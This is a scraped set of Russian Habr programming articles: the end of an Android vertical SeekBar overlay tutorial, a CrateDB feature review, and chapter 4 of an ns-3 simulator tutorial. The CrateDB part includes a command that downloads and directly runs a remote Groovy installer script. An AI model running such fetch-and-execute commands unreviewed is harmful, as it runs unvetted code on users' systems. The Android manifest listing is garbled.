}
public void onStopTrackingTouch (SeekBar seekBar) {
}
});
}
public void onDestroy() {
super.onDestroy();
if (seekBar != null)
windowManager.removeView(seekBar);
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
```
Ну и напоследок, создадим класс VerticalSeekBar который будет являться кастомной версией обычного SeekBar, отличие будет в том, что наш SeekBar будет располагаться вертикально
**VerticalSeekBar**
```
import android.content.Context;
import android.graphics.Canvas;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.widget.SeekBar;
public class VerticalSeekBar extends SeekBar {
public VerticalSeekBar (Context context) {
super(context);
}
public VerticalSeekBar(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
public VerticalSeekBar(Context context, AttributeSet attrs) {
super(context, attrs);
}
protected void onSizeChanged(int w, int h, int oldw, int oldh) {
super.onSizeChanged(h, w, oldh, oldw);
}
public synchronized void setProgress(int progress)
{
super.setProgress(progress);
onSizeChanged(getWidth(), getHeight(), 0, 0);
}
protected synchronized void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
super.onMeasure(heightMeasureSpec, widthMeasureSpec);
setMeasuredDimension(getMeasuredHeight(), getMeasuredWidth());
}
protected void onDraw(Canvas c) {
c.rotate(-90);
c.translate(-getHeight(), 0);
super.onDraw(c);
}
@Override
public boolean onTouchEvent(MotionEvent event) {
if (!isEnabled()) {
return false;
}
switch (event.getAction()) {
case MotionEvent.ACTION_DOWN:
case MotionEvent.ACTION_MOVE:
case MotionEvent.ACTION_UP:
setProgress(getMax() - (int) (getMax() * event.getY() / getHeight()));
onSizeChanged(getWidth(), getHeight(), 0, 0);
break;
case MotionEvent.ACTION_CANCEL:
break;
}
return true;
}
}
```
Вот как при этом будет выглядеть манифест приложения:
**Mанифест**
```
xml version="1.0" encoding="utf-8"?
```
Вот и все, простенький, но сделанный с душой подарок маме на день рождения готов. Получилась у нас вот такая штука:
Для демонстрации я убрал строчку, задающую прозрачность, так как в этом режиме полоска практически незаметна. При желании можно добавить кнопки, регулирующие размер полоски, ее положение на экране и прозрачность.
[Вот тут](https://yadi.sk/d/EOEAs5tS3X4aVj) можно взять апкшник. Если кто-то будет пользоваться хотелось бы получить фидбек, так как тестировал только на седьмом андроиде. И хочу выразить огромную благодарность тем, кто уже тестирует приложение и докладывается о багах — вы невероятно мне помогаете. Спасибо! | https://habr.com/ru/post/412967/ | null | ru | null |
# CrateDB: снаружи как PostgreSQL, а внутри Elasticsearch
С моей прошлой публикации о распределенной базе данных CrateDB прошло около года. Проект на основе Elasticsearch и PrestoDB написан на Java. Он за это время активно развивался и обрастал новым функционалом в [github](https://github.com/crate/crate) репозитарии:
* поддержка outer join;
* case when… then… end в запросах;
* функции для работы с пространственными(Geospatial) данными;
* возможно отображение данных временных рядов (Time Series) в Grafana;
* ограниченная поддержка подзапросов;
* узлы кластера работающие в режиме только чтения;
* эмуляцией подмножества протокола PostgreSQL 9.5;
Приятной неожиданностью было обнаружить в github проекта, что в команде CrateDB есть русскоговорящий разработчик [Руслан](https://github.com/kovrus). Достаточно быстро получил от него ответ на вопросы про внутреннее устройство и зависимости проекта.
Когда в прошлый раз на хабре я рассказывал про особенности работы с запросами в статье [«JOIN the dark side of the SQL»](https://habrahabr.ru/post/274315/), то упоминал о недостатках монструозного по объему родного jdbc драйвера для crate и неполной поддержке join операций. Эти недочеты устранили в последних версиях (>1.0)!
Теперь можно пользоваться jdbc драйвером PostgreSQL, утилитами командной строки pg и не нужно паковать вместе с приложением отдельный драйвер для crate. Это стало возможно благодаря частичной [эмуляции wire протокола](https://crate.io/docs/reference/protocols/postgres.html) PostgreSQL 9.5 на сервере. С оглядкой на то что не поддерживаются транзакции (поэтому установлен autocommit), аутентификация с любым логином/паролем успешная, не поддерживается SSL для соединений и поддерживается только кодировка символов UTF-8. Еще не поддерживается COPY подпротокол pg и подпротокол вызова хранимых функций. При этом надо помнить, что синтаксис SQL запросов и подмножество поддерживаемых функций специфичны для CrateDB.
Наконец-то в сервере появилась поддержка [Left, Right и Full Outer Join](https://crate.io/docs/reference/sql/joins.html#left-outer-joins). Хоть не применяются специальные оптимизации планировщика и join реализован как nested loop, но при этом фильтры применяются распределенно — на каждой шарде таблиц из запроса.
Появился [странный синтаксис](https://crate.io/docs/reference/sql/scalar.html#conditional-functions-and-expressions) в SELECT, напоминающий PL/SQL CASE:
```
CASE WHEN condition THEN result
[WHEN ...]
[ELSE result]
END
```
С подзапросами в FROM пока чудо не случилось. [Поддерживаются](https://crate.io/docs/reference/sql/subselects.html) либо подзапросы с агрегатами, либо запросы которые парсер может легко перезаписать. Надеюсь, что через год проект удивит тем что будут доступны сложные подзапросы.
Для работы с [пространственными данными](https://crate.io/docs/reference/sql/data_types.html#geo-point) в запросах доступны [функции](https://crate.io/docs/reference/sql/scalar.html#geo-functions) distance, within, intersects, latitude/longitude. Работа с геоданными давно была в [Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/geo-queries.html), на основе которого создана эта распределенная база данных.
Есть плагин доступа к данным для [Grafana](https://grafana.net/plugins/crate-datasource). Можно рисовать графики для данных мониторинга и телеметрии, хранящихся в CrateDB.
Необходимо настроить параметры подключения и указать запросы для выборки данных.
Загрузку и старт CrateDB для экспериментов можно сделать так:
> java -jar [groovy-grape-aether-2.4.5.1.jar](https://repo1.maven.org/maven2/com/github/igor-suhorukov/groovy-grape-aether/2.4.5.4/groovy-grape-aether-2.4.5.4.jar) <https://raw.githubusercontent.com/igor-suhorukov/crate-io-installer/master/crate-io.groovy>
>
>
Для запуска CrateDB 1.0.4 использовал свой [Groovy скрипт](https://github.com/igor-suhorukov/crate-io-installer/blob/master/crate-io.groovy), который автоматически устанавливает базу данных в домашнюю директорию пользователя:
```
@Grab(group='org.codehaus.plexus', module='plexus-archiver', version='2.10.2')
import org.codehaus.plexus.archiver.tar.TarGZipUnArchiver
import com.github.igorsuhorukov.smreed.dropship.MavenClassLoader;
@Grab(group='org.codehaus.plexus', module='plexus-container-default', version='1.6')
import org.codehaus.plexus.logging.console.ConsoleLogger;
def artifact = 'crate'
def version = '1.0.4'
def userHome= System.getProperty('user.home')
def destDir = new File("$userHome/.crate-io")
def crateIoDir= new File(destDir, "$artifact-$version");
if(!crateIoDir.exists()){
destDir.mkdirs()
String sourceFile = MavenClassLoader.using("https://dl.bintray.com/crate/crate/").getArtifactUrlsCollection("io.crate:$artifact:tar.gz:$version", null).get(0).getFile()
final TarGZipUnArchiver unArchiver = new TarGZipUnArchiver()
unArchiver.setSourceFile(new File(sourceFile))
unArchiver.enableLogging(new ConsoleLogger(ConsoleLogger.LEVEL_DEBUG,"Logger"))
unArchiver.setDestDirectory(destDir)
unArchiver.extract()
}
def proc = "$crateIoDir.absolutePath/bin/crate".execute()
proc.consumeProcessOutput(System.out, System.err)
proc.waitFor()
```
Либо запустить базу в [Docker контейнере](https://crate.io/docs/install/containers/docker/) или десятком [других способов](https://crate.io/download/).
Заключение
----------
При использовании [CrateDB](https://crate.io) в своем проекте, надо помнить что прежде всего это распределенная база данных на основе Elasticsearch, поэтому полноценного [ACID](https://ru.wikipedia.org/wiki/ACID) не будет. Но если важна горизонтальная масштабируемость, полнотекстовый поиск и возможность выполнять SQL запросы — это отличный кандидат для хранения данных проекта. Радует то что проект развивается семимильными шагами и доступен для использования под лицензией Apache 2.0. | https://habr.com/ru/post/323742/ | null | ru | null |
# Учебник по симулятору сети ns-3. Глава 4
[главы 1,2](https://habr.com/ru/post/497106/)
[глава 3](https://habr.com/ru/post/497318/)
4 Обзор концепции
4.1 Ключевые абстракции
4.1.1 Node (Узел)
4.1.2 Application (Приложение)
4.1.3 Channel (Канал)
4.1.4 Net Device (Сетевое устройство)
4.1.5 Топологические помощники
4.2 Первый скрипт ns-3
4.2.1 Boilerplate код
4.2.2 Подключаемые модули
4.2.3 Пространство имен ns3
4.2.4 Журналирование
4.2.5 Главная функция
4.2.6 Использование топологических помощников
4.2.7 Использование Application
4.2.8 Симулятор
4.2.9 Сборка вашего сценария
4.3 ns-3 Исходный код
Глава 4
-------
### Обзор концепции
Первое, что нам нужно сделать перед тем, как начать изучать или писать код ns‑3 — это объяснить несколько основных понятий и абстракций в системе. Многое из этого, для некоторых, может показаться очевидным, но мы рекомендуем уделить время для чтения этого раздела, чтобы убедиться, что вы начинаете на прочной основе.
### 4.1 Ключевые абстракции
В этом разделе мы рассмотрим некоторые термины, которые обычно используются в сети, но имеют определенное значение в ns‑3.
#### 4.1.1 Node (Узел)
На интернет-жаргоне компьютерное устройство, которое подключается к сети, называется хостом или иногда конечной системой. По той причине, что ns‑3 — это симулятор сети, а не симулятор Интернет, мы намеренно не используем термин хост, так как это тесно связано с Интернетом и его протоколами. Вместо этого мы используем более общий термин, также используемый другими симуляторами, который берет начало в теории графов — узел (*node*).
В ns-3 базовая абстракция вычислительного устройства называется узлом. Эта абстракция представлена в C++ классом Node. Класс *NodeNode* (узел) даёт методы для управления представлениями вычислительных устройств в симуляциях.
Вы должны понимать *Node* как компьютер, к которому вы добавите функциональность. Вы добавите такие вещи, как приложения, стеки протоколов и периферийные карты с драйверами, позволяющие компьютеру выполнять полезную работу. Мы используем такую же базовую модель в ns-3.
### 4.1.2 Application (Приложение)
Как правило, компьютерное программное обеспечение делится на два широких класса. Системное ПО организует различные компьютерные ресурсы такие как память, циклы процессора, диск, сеть и т. д. в соответствии с некоторой вычислительной моделью. Системное программное обеспечение обычно не использует эти ресурсы для выполнения задач, которые приносят непосредственную пользу пользователю. Пользователь для достижения определенной цели обычно запускает приложение, которое получает и использует ресурсы, контролируемые системным программным обеспечением.
Часто линия разделения между системным и прикладным программным обеспечением проводится при изменении уровня привилегий, которое происходит в ловушках операционной системы. В ns‑3 нет реальной концепции операционной системы и соответственно нет понятий уровней привилегий или системных вызовов. У нас, однако, есть идея приложения. Так же как в «реальном мире» для выполнения задач программные приложения работают на компьютерах, приложения ns‑3 работают на узлах ns‑3 для управления симуляциями в симулированном мире.
В ns‑3 базовой абстракцией для пользовательской программы, которая генерирует некоторую активность для моделирования, является приложение. Эта абстракция представлена в C++ классом Application (приложение). Класс Application предоставляет методы для управления в симуляциях представлениями нашей версии приложений уровня пользователя. От разработчиков ожидается, что для создания новых приложений они будут специализировать класс Application в смысле объектно-ориентированного программирования. В этом руководстве мы будем использовать специализации класса Application, называемые *UdpEchoClientApplication* и *UdpEchoServerApplication*. Как и следовало ожидать, эти приложения составляют набор приложений клиент/сервер используемых для генерации и эхо‑симуляции сетевых пакетов.
### 4.1.3 Channel (Канал)
В реальном мире можно подключить компьютер к сети. Часто среды, по которым передаются данные в этих сетях, называются каналами. Когда вы подключаете кабель Ethernet к розетке на стене, вы подключаете компьютер к каналу связи Ethernet. В смоделированном мире ns‑3 узел подключается к объекту, представляющему канал связи. Здесь основная абстракция коммуникационной подсети называется каналом и представляется в C++ классом Channel (канал).
Класс *ChannelChannel* предоставляет методы для управления взаимодействием объектов подсети и подключения к ним узлов. Каналы также могут быть специализированы разработчиками в смысле объектно-ориентированного программирования. Специализация канала может моделировать что-то простое как провод. Специализированный канал также может моделировать такие сложные вещи как большой Ethernet-коммутатор или трехмерное пространство, полное препятствий в случае беспроводных сетей.
Мы будем использовать в этом руководстве специализированные версии канала под названием *CsmaChannelCsmaChannel*, *PointToPointChannelPointToPointChannel* и *WifiChannelWifiChannel*. *CsmaChannel*, например, моделирует версию коммуникационной подсети которая реализует коммуникационную среду множественного доступа с контролем несущей. Это дает нам Ethernet-подобную функциональность.
### 4.1.4 Net Device (Сетевое устройство)
Раньше было так, что если вы хотите подключить компьютер к сети, вам нужно было купить определенный сетевой кабель и аппаратное устройство, называемое (в терминологии ПК) периферийной платой, которую необходимо установить в компьютер. Если на периферийной плате реализованы некоторые сетевые функции, их называли сетевыми интерфейсными платами или сетевыми картами. Сегодня большинство компьютеров поставляются с интегрированным оборудованием сетевого интерфейса, и пользователи не видят их как отдельные устройства.
Сетевая карта не будет работать без программного драйвера, управляющего её оборудованием. В Unix (или Linux), часть периферийного оборудования классифицируется как device. Устройства управляются с помощью драйверов устройств (device drivers), а сетевые устройства (NIC) управляются с использованием драйверов сетевых устройств (*network device drivers*) и имеют собирательное название сетевые устройства (*net devices*). В Unix и Linux вы обращаетесь к сетевым устройствам по таким именам, как например *eth0*.
В ns‑3 абстракция сетевого устройства охватывает как программный драйвер, так и моделируемое оборудование. При симуляции сетевое устройство «установлено» в узле, чтобы позволить ему связываться с другими узлами через каналы. Как и в реальном компьютере, узел может быть подключен к нескольким каналам через несколько устройств *NetDevices*.
Сетевая абстракция устройства представлена в C++ классом *NetDevice*. Класс *NetDevice* обеспечивает методы управления соединениями с объектами Node и Channel; и могут быть специализированы разработчиками в смысле объектно-ориентированного программирования. В этом руководстве мы будем использовать несколько специализированных версий NetDevice под названиями *CsmaNetDevice*, *PointToPointNetDevice* и *WifiNetDevice*. Так же, как сетевой адаптер Ethernet предназначен для работы с сетью *Ethernet*, *CsmaNetDevice* предназначен для работы с *CsmaChannel*, *PointToPointNetDevice* предназначен для работы с *PointToPointChannel*, а *WifiNetDevice* — предназначен для работы с *WifiChannel*.
### 4.1.5 Топологические помощники
В реальной сети вы найдете хост-компьютеры с добавленными (или встроенными) сетевыми картами. В ns‑3 мы бы сказали, что вы будете видеть узлы с подключенными NetDevices. В большой моделируемой сети вам нужно будет организовать соединения между множеством объектов *Node*, *NetDevice* и *Channel*.
Поскольку подключение NetDevices к узлам, NetDevices к каналам, назначение IP-адресов и т.д. в ns‑3 являются общей задачей, то чтобы делать это как можно проще, мы предоставляем так называемых топологических помощников. Например, для создания NetDevice необходимо выполнить множество операций ядра ns‑3, добавить MAC-адрес, установить это сетевое устройство в Node, настроить стек протоколов узла, а затем подключить NetDevice к Channel. Еще больше операций будет необходимо, чтобы подключить несколько устройств к многоточечным каналам, а затем соединить отдельные сети в объединенную сеть (Internetworks). Мы предоставляем вспомогательные объекты топологии, которые для вашего удобства объединяют эти многочисленные операции в простую в использовании модель.
### 4.2 Первый скрипт ns-3
Если вы установили систему, как было предложено выше, у вас будет релиз ns‑3 в директории с именем repos в вашей домашней директории. Перейдите в директорию *release*
> Если у вас нет такой директории, значит вы при сборке релизной версии ns‑3 не указали выходную директорию, выполните сборку так:
>
> $ ./waf configure --build-profile=release --out=build/release,
>
> $ ./waf build
там вы должны увидеть структуру директории похожую на следующую:
```
AUTHORS examples scratch utils waf.bat*
bindings LICENSE src utils.py waf-tools
build ns3 test.py* utils.pyc wscript
CHANGES.html README testpy-output VERSION wutils.py
doc RELEASE_NOTES testpy.supp waf* wutils.pyc
```
Перейдите в директорию *examples/tutorial*. Вы должны увидеть расположенный там файл с именем *first.cc*. Это скрипт, который создаст простое соединение точка-точка между двумя узлами и передаст один пакет между узлами. Давайте посмотрим на этот скрипт построчно, для этого откроем first.cc в вашем любимом редакторе.
*4.2.1 Boilerplate код*
Первая строка в файле — это строка режима редактора *emacs*. Она говорит emacs об условностях форматирования (стиль кодирования), которые мы использовать в нашем исходном коде.
```
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */
```
Это всегда довольно спорный вопрос, поэтому мы должны внести ясность, что бы сразу же убрать его с дороги. Проект ns‑3, как и большинство крупных проектов, принял стиль кодирования, которому должен соответствовать весь предоставленный код. Если вы хотите внести свой код в проект, вам в конечном итоге придется соответствовать стандарту кодирования ns‑3, как описано в файле *doc/codingstd.txt* или показанный на веб-странице проекта: <https://www.nsnam.org/develop/contributing-code/coding-style/>.
Мы рекомендуем вам привыкнуть к внешнему виду кода ns‑3 и применять этот стандарт всякий раз, когда вы работаете с нашим кодом. Вся команда разработчиков и контрибуторы согласились с этим после некоторого ворчания. Строка режима emacs, приведенная выше, упрощает правильное форматирование, если вы используете редактор emacs.
Симулятор ns‑3 лицензируется с использованием *GNU General Public License*. Вы увидите соответствующий юридический заголовок GNU в каждом файле дистрибутива ns‑3. Часто вы можете увидеть уведомление об авторских правах для одного из участвующих учреждений в проекте ns‑3 выше текста GPL и автора, показанное ниже.
```
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation;
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
```
### 4.2.2 Подключаемые модули
Собственно код начинается с ряда операторов включения (*include*).
```
#include "ns3/core-module.h"
#include "ns3/network-module.h"
#include "ns3/internet-module.h"
#include "ns3/point-to-point-module.h"
#include "ns3/applications-module.h"
```
Чтобы помочь нашим пользователям сценариев высокого уровня справиться с большим количеством заголовочных файлов, присутствующих в системе, мы группируем их в соответствии с их использованием в большие модули. Мы предоставляем один заголовочный файл, который будет рекурсивно загружать все заголовочные файлы, используемые в данном модуле. Вместо того, чтобы искать, какой именно заголовок вам нужен, и, возможно получить правильный список зависимостей, мы даем вам возможность загружать группу файлов с большой степенью детализации. Это не самый эффективный подход, но он, безусловно, делает написание сценариев намного проще.
Каждый из включаемых файлов ns‑3 помещается в директорию с именем *ns3* (поддиректория сборки), чтобы во время процесса сборки избежать конфликтов имен файлов. Файл *ns3/core-module.h* соответствует модулю ns‑3, который вы найдите в директории *src/core* в установленном вами релизе. В листинге этой директории вы найдете большое количество заголовочных файлов. Когда вы делаете сборку, *Waf* помещает общедоступные заголовочные файлы в директорию ns3 в поддиректорию *build/debug*
> Если у вас нет такой директории, значит вы при сборке релизной версии ns‑3 не указали выходную директорию, выполните сборку так:
>
> $ ./waf configure --build-profile=debug --out=build/debug
>
> $ ./waf build
>
> или
>
> $ ./waf configure --build-profile=optimized --out=build/optimized
>
> $ ./waf build
или *build/optimized*, в зависимости от вашей конфигурации. *Waf* будет также автоматически генерировать включаемый файл модуля для загрузки всех общедоступных заголовочных файлов. Поскольку вы, конечно, неукоснительно следуете этому руководству, вы уже сделали
```
$ ./waf -d debug --enable-examples --enable-tests configure
```
чтобы настроить проект на выполнение отладочных сборок, включающих примеры и тесты. Вы также сделали
```
$ ./waf
```
чтобы собрать проект. Так что теперь, когда вы посмотрите в директорию *../../build/debug/ns3*, то там, среди прочих, вы найдете заголовочные файлы четырех модулей, показанные выше. Вы можете взглянуть на содержимое этих файлов и обнаружить, что они включают в себя все публичные файлы используемые соответствующими модулями.
### 4.2.3 Пространство имен ns3
Следующая строка в скрипте *first.cc* — это объявление пространства имен.
```
using namespace ns3;
```
Проект ns‑3 реализован в пространстве имен C++, которое называется ns3. Это группирует все ns‑3-связанные объявления в области видимости за пределами глобального пространства имен, которое, как мы надеемся, поможет в интеграции с другим кодом. Использование оператора C++ вводит пространство имен ns‑3 в текущий (глобальный) декларативный регион. Это причудливый способ сказать, что после этого объявления, вам не нужно будет вводить оператор разрешения ns3 :: scope перед всем кодом ns‑3, чтобы использовать его. Если вы не знакомы с пространствами имен, обратитесь к практически любому учебнику по C++ и сравните пространство имен ns3 с использованием пространства имен std и объявления `using namespace std;` в примерах работы с оператором вывода *cout* и потоками.
### 4.2.4 Журналирование
Следующая строка скрипта такая,
```
NS_LOG_COMPONENT_DEFINE ("FirstScriptExample");
```
Мы будем использовать это утверждение как удобное место для обсуждения нашей системы документирования *Doxygen*. Если вы посмотрите на веб-сайт проекта ns‑3, вы найдете ссылку «Документация» (Documentation) на панели навигации. Если вы выберете эту ссылку, то окажетесь на нашей странице документации. Существует ссылка на «Последний релиз», которая приведет вас к документации для последней стабильной версии ns‑3. Если вы выберете ссылку «API Documentation», вы попадете на страницу документации API ns‑3.
С левой стороны страницы вы найдете графическое представление структуры документации. Хорошее место для начала — это «книга» Modules ns‑3 в дереве навигации ns‑3. Если вы раскроете *Modules*, вы увидите список документации модулей ns‑3. Как обсуждалось выше, концепция модуля здесь напрямую связана с включенными в модуль файлами выше. Подсистема журналирования (ведения журнала, логирования) ns‑3 обсуждается в разделе *Использование модуля журналирования*, поэтому мы вернемся к ней позже в этом руководстве, но Вы можете узнать о приведенном выше утверждении, посмотрев на модуль *Core*, а затем открыв книгу *Debugging tools*, а затем выбрав страницу *Logging*. Кликните по *Logging*.
Теперь вы должны просмотреть документацию *Doxygen* для модуля *Logging*. В списке макросов в верхней части страницы вы увидите запись для NS\_LOG\_COMPONENT\_DEFINE. Перед тем как перейти по ссылке, обязательно посмотрите «Подробное описание» модуля регистрации, чтобы понять его работу в целом. Чтобы сделать это вы можете прокрутить вниз или выбрать «More...» под диаграммой.
Как только у вас будет общее представление о том, что происходит, продолжайте и посмотрите документацию на конкретные NS\_LOG\_COMPONENT\_DEFINE. Я не буду дублировать документацию здесь, но подводя итог, скажу, что эта строка объявляет компонент регистрации под названием *FirstScriptExample*, который позволяет включать и отключать консоль регистрация сообщений по ссылке на имя.
### 4.2.5 Главная функция
В следующих строках скрипта вы увидите,
```
int
main (int argc, char *argv[])
{
```
Это просто объявление основной функции вашей программы (скрипта). Как и в любой программе на C++, вам нужно определить главную функцию, она выполняется первой. Здесь нет ничего особенного. Ваш скрипт ns‑3 просто C++ программа. Следующая строка устанавливает разрешение по времени равное 1 наносекунде, что является значением по умолчанию:
```
Time::SetResolution (Time::NS);
```
Разрешение по времени или просто разрешение — это наименьшее значение времени, которое может быть использовано (наименьшая представимая разница между двумя значениями времени). Вы можете изменить разрешение ровно один раз. Механизм, обеспечивающий эту гибкость, потребляет память, поэтому, как только разрешение будет установлено явно, мы освобождаем память, предотвращая дальнейшие обновления. (Если вы не установите разрешение явно, то по умолчанию оно будет равно одной наносекунде, и память будет освобождена при начале симуляции.)
Следующие две строки сценария используются для включения двух компонентов ведения журнала, которые встроены в приложения *EchoClient* и *EchoServer*:
```
LogComponentEnable("UdpEchoClientApplication", LOG_LEVEL_INFO); LogComponentEnable("UdpEchoServerApplication", LOG_LEVEL_INFO);
```
Если вы прочитали документацию по компоненту Logging, вы увидите, что существует несколько уровней подробности регистрации/детализации, которые вы можете включить на каждом компоненте. Эти две строки кода включают ведение журнала отладки на уровень INFO для эхо-клиентов и серверов. На этом уровне приложение во время моделирования будет распечатывать сообщения при отправке и получении пакетов.
Теперь мы перейдем непосредственно к делу создания топологии и запуска симуляции. Мы задействуем объекты топологических помощников, чтобы сделать эту работу как можно проще.
### 4.2.6 Использование топологических помощников
Следующие две строки кода в нашем скрипте фактически создадут объекты Node ns‑3, которые будут представлять компьютеры в симуляция.
```
NodeContainer nodes;
nodes.Create (2);
```
Прежде чем мы продолжим, давайте найдем документацию для класса *NodeContainer*. Еще один способ попасть в документацию для данного класса это через вкладку *Classes* на страницах *Doxygen*. Если у вас уже открыт Doxygen, просто прокрутите вверх до верхней части страницы и выберите вкладку Classes. Вы должны увидеть новый набор вкладок, один из которых список классов. Под этой вкладкой вы увидите список всех классов ns‑3. Прокрутите вниз, до *ns3 :: NodeContainer*. Когда вы найдете класс, выберите его, чтобы перейти к документации для класса.
Как мы помним, одной из наших ключевых абстракций является узел. Он представляет компьютер, к которому мы собираемся добавить такие вещи, как стеки протоколов, приложения и периферийные карты. Топологический помощник *NodeContainer* обеспечивает удобный способ создания, управления и доступа к любым объектам *Node*, которые мы создаем для запуска симуляции. Первый строка выше просто объявляет *NodeContainer*, который мы называем nodes. Вторая строка вызывает метод Create для объекта nodes и просит контейнер создать два узла. Как описано в *Doxygen*, контейнер запрашивает в системе ns‑3 создание двух объектов *Node* и сохраняет указатели на эти объекты у себя внутри.
Созданные в скрипте узлы, пока ничего не делают. Следующим шагом в построении топологии является подключение наших узлов к сети. Самая простая форма сети, которую мы поддерживаем, — это двухточечная связь между двумя узлами. Мы сейчас создадим такое соединение.
#### PointToPointHelper
Мы создаем двухточечное соединение, действуя по знакомому нам шаблону, используем топологический вспомогательный объект для выполнения низкоуровневой работы, необходимой для соединения. Напомним, что две наши ключевые абстракции *NetDevice* и *Channel*. В реальном мире эти термины примерно соответствуют периферийным картам и сетевым кабелям. Как правило, эти две вещи тесно связаны друг с другом, и никто не может рассчитывать на обмен, например, устройства *Ethernet* по беспроводному каналу. Наши топологические помощники следуют этой тесной связи и поэтому вы будете в этом сценарии использовать один объект *PointToPointHelper* для настройки и подключения ns‑3 объектов *PointToPointNetDevice* и *PointToPointChannel*. Следующие три строки в сценарии:
```
PointToPointHelper pointToPoint;
pointToPoint.SetDeviceAttribute ("DataRate", StringValue ("5Mbps"));
pointToPoint.SetChannelAttribute ("Delay", StringValue ("2ms"));
```
Первая строка,
```
PointToPointHelper pointToPoint;
```
создает в стеке экземпляр объекта *PointToPointHelper*. С точки зрения верхнего уровня следующая строка,
```
pointToPoint.SetDeviceAttribute ("DataRate", StringValue ("5Mbps"));
```
говорит объекту *PointToPointHelper* использовать значение «5 Мбит/с» (пять мегабит в секунду) в качестве «*DataRate*».
С более конкретной точки зрения, строка «DataRate» соответствует тому, что мы называем атрибутом *PointToPointNetDevice*. Если вы посмотрите на *Doxygen* для класса *ns3::PointToPointNetDevice* и в документации к методу *GetTypeId* вы найдете список атрибутов, определенных для устройства. Среди них будет атрибут «*DataRate*». Большинство видимых пользователем объектов ns‑3 имеют похожие списки атрибутов. Мы используем этот механизм для простой настройки симуляции без перекомпиляции, как вы увидите в следующем разделе.
Подобно «*DataRate*» в PointToPointNetDevice, вы найдете атрибут «Delay», связанный с PointToPointChannel. Финальная строка,
```
pointToPoint.SetChannelAttribute ("Delay", StringValue ("2ms"));
```
говорит *PointToPointHelper* использовать значение «2 мс» (две миллисекунды) в качестве значения задержки распространения по каналу точка-точка, который он впоследствии создает.
#### NetDeviceContainer
На данный момент у нас в сценарии есть *NodeContainer*, который содержит два узла. У нас есть *PointToPointHelper*, который подготовлен для создания объектов *PointToPointNetDevices* и соединения их с помощью объекта PointToPointChannel. Так же, как мы использовали для создания узлов вспомогательный объект топологии NodeContainer, мы попросим *PointToPointHelper* выполнить для нас работу, связанную с созданием, настройкой и установкой наших устройств. Нам потребуется список всех созданных объектов *NetDevice*, поэтому мы используем *NetDeviceContainer* для их хранения так же, как мы использовали *NodeContainer* для хранения созданных нами узлов. Следующие две строки кода,
```
NetDeviceContainer devices;
devices = pointToPoint.Install (nodes);
```
завершают настройку устройств и канала. Первая строка декларирует контейнер устройства, упомянутый выше, а вторая выполняет основную работу. Метод *Install* объекта *PointToPointHelper* принимает *NodeContainer* как параметр. Внутри *NetDeviceContainer* для каждого узла находящегося в *NodeContainer* создается (для связи точка-точка их должно быть ровно два) *PointToPointNetDevice* создается и сохраняется в контейнере устройства. *PointToPointChannel* создается, и к нему присоединяются два *PointToPointNetDevices*. После создания объектов, атрибуты хранившиеся в *PointToPointHelper*, используются для инициализации соответствующих атрибутов в созданных объектах.
После выполнения вызова *pointToPoint.Install (nodes)* у нас будет два узла, каждый с установленным сетевым устройством «точка-точка» и одним каналом «точка-точка» между ними. Оба устройства будут настроены на передачу данных со скоростью пять мегабит в секунду с задержкой передачи по каналу в две миллисекунды.
#### InternetStackHelper
Теперь у нас настроены узлы и устройства, но на наших узлах не установлены стеки протоколов. Следующие две строки кода позаботятся об этом.
```
InternetStackHelper stack;
stack.Install (nodes);
```
*InternetStackHelper* — представляет собой топологический помощник для интернет-стеков, подобно PointToPointHelper для двухточечных сетевые устройств. Метод *Install* принимает NodeContainer в качестве параметра. При выполнении он установит Интернет-стек (TCP, UDP, IP и т. д.) на каждом узле контейнера.
#### Ipv4AddressHelper
Затем нам нужно к наши устройства связать с IP-адресами. Мы предоставляем топологического помощника для управления распределением IP-адресов. Единственный видимый пользователю API — это установка базового IP-адреса и маски сети для использования при выполнении фактического распределения адресов (это делается на более низком уровне внутри помощника). Следующие две строки кода в нашем примере скрипта *first.cc*,
```
Ipv4AddressHelper address;
address.SetBase ("10.1.1.0", "255.255.255.0");
```
декларируют вспомогательный объект адреса и говорят ему, что он должен начать выделять IP-адреса из сети 10.1.1.0, используя для определения битовую маску 255.255.255.0. По умолчанию выделенные адреса будут начинаться с единицы и увеличиваться монотонно, поэтому первый адрес, выделенный из этой базы, будет 10.1.1.1, затем 10.1.1.2 и т.д. В реальности, на низком уровне система ns‑3 запоминает все выделенные IP-адреса и генерирует фатальную ошибку, если вы случайно создали ситуацию когда один и тот же адрес будет сгенерирован дважды (кстати, эту ошибку трудно отладить).
Следующая строка кода,
```
Ipv4InterfaceContainer interfaces = address.Assign (devices);
```
выполняет фактическое назначение адреса. В ns‑3 мы устанавливаем связь между IP-адресом и устройством, используя объект *Ipv4Interface*. Так же, как нам иногда нужен список сетевых устройств, созданных помощником для дальнейшего использования, нам иногда нужен список объектов *Ipv4Interface*. *Ipv4InterfaceContainer* предоставляет эту функциональность.
Мы построили сеть точка-точка, с установленными стеками и назначенными IP-адресами. Теперь нам нужны в каждом узле приложения для генерации трафика.
### 4.2.7 Использование Application
Еще одна из основных абстракций системы ns‑3 — это *Application* (приложение). В этом сценарии мы используем две специализации базового класса *Application* ns‑3 под названием *UdpEchoServerApplication* и *UdpEchoClientApplication*. Как и в предыдущих случаях, мы используем вспомогательные объекты для настройки и управления базовыми объектами. Здесь мы используем *UdpEchoServerHelper* и *UdpEchoClientHelpe*r объекты, чтобы сделать нашу жизнь проще.
#### UdpEchoServerHelper
Следующие строки кода в нашем примере скрипта first.cc, используются для настройки приложения UDP эхо сервера на одном из узлов, которые мы создали ранее.
```
UdpEchoServerHelper echoServer (9);
ApplicationContainer serverApps = echoServer.Install (nodes.Get (1));
serverApps.Start (Seconds (1.0));
serverApps.Stop (Seconds (10.0));
```
